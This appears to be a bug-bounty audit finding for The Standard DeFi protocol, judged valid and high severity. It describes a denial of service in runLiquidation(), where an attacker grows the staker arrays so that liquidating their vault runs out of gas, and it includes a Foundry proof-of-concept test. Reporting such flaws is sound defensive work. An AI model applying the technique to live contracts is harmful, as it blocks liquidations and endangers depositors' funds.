The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Potential Denial of Service (DoS) Attack in `runLiquidation()` Function Prevent Vault Liquidation

Description:
The runLiquidation() function contains sub-function calls that iterate through the pendingStakes, holders, and _asset arrays. As the protocol grows, these arrays become longer, resulting in increased gas consumption when calling the function. A malicious attacker could intentionally lengthen these arrays, making the distributeAsset() function unresponsive and preventing the liquidation of a vault.

Impact:
The inability to liquidate vaults as intended may lead to the undercollateralization of the EUROs token.

Proof of Concept:

  • John (Attacker) anticipates vault liquidation.

  • He calls increasePosition() repeatedly to lengthen the pending stake array.

  • When LiquidationPoolManager::runLiquidation is executed, it fails with an "out of gas" error.

  • This prevents John's vault from being liquidated.

Proof of Code:

Code

The provided test suite demonstrates the vulnerability's validity and severity.

How to Run the Test:

  • Due to the file size required to run this PoC, the suite is hosted on Github.

  • To run the PoC, clone the repository.

  • Minor changes, such as modifying function visibility, were made to enable successful test runs.

  • All changes and additional files made to the original code are documented in the README and the respective files where the changes are made.

Requirements:

  • Install Foundry.

  • Clone the project codebase into your local workspace.

    git clone https://github.com/Renzo1/the-standard-protocol-2.git
  • Run the following commands to install dependencies:

    npm install
    forge install
  • Run the following command to execute the PoC:

    forge test --match-test "testLiquidatorCantLiquidateVault" -vvv
function testLiquidatorCantLiquidateVault() public {
vm.txGasPrice(1);
// //////// Create one vault ////////
ISmartVault[] memory vaults = new ISmartVault[](20);
vaults = createVaultOwners(20);
//////// Owner 1 variables ////////
ISmartVault vault1 = vaults[0];
address owner1 = vault1.owner();
uint256 tstBalance1 = TST.balanceOf(owner1);
uint256 euroBalance1 = EUROs.balanceOf(owner1);
//////// Stake Tokens ////////
vm.warp(block.timestamp + 2 days);
vm.startPrank(owner1);
TST.approve(pool, tstBalance1);
EUROs.approve(pool, euroBalance1);
liquidationPool.increasePosition( tstBalance1, euroBalance1);
vm.stopPrank();
vm.warp(block.timestamp + 2 days);
//////// Drop collateral assets value to liquidation threshold ////////
// starting prices: EUR/USD $11037; ETH/USD $2200; BTC/USD $42000; PAXGUSD $2000
setPriceAndTime( 11037, 1100, 20000, 1000); // Drop collateral value
//////// Liquidate vault 1 ////////
// Bug fix: Without granting pool BURNER_ROLE, distributeAssets() reverts
vm.startPrank(SmartVaultManager);
IEUROs(euros_).grantRole(IEUROs(euros_).BURNER_ROLE(), pool);
vm.stopPrank();
vm.startPrank(liquidator);
uint256 gasStart1 = gasleft(); // see gas cost for subsequent transaction
liquidationPoolManagerContract.runLiquidation(1);
uint256 gasEnd1 = gasleft();
vm.stopPrank();
vm.warp(block.timestamp + 2 days);
uint256 gasUsed1 = (gasStart1 - gasEnd1) * tx.gasprice;
//////// Add more Holders to liquidationPool ////////
for(uint256 i = 1; i < vaults.length; i++){
vm.startPrank(vaults[i].owner());
TST.approve(pool, tstBalance1);
EUROs.approve(pool, euroBalance1);
liquidationPool.increasePosition( 1, 1);
vm.stopPrank();
}
//////// Liquidate vault 2 ////////
vm.startPrank(liquidator);
uint256 gasStart2 = gasleft(); // see gas cost for subsequent transaction
liquidationPoolManagerContract.runLiquidation(2);
uint256 gasEnd2 = gasleft();
vm.stopPrank();
uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
//////// Assert increase in gas cost for both transactions ////////
assertGt(gasUsed2, gasUsed1,"DoS TEST 1");
}

Tools Used:

  • Manual review

  • Foundry

Recommended Mitigation Steps:
To address this issue, a thorough examination of the contract architecture is required. Consider exploring gas-efficient alternatives, such as using mappings instead of arrays.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.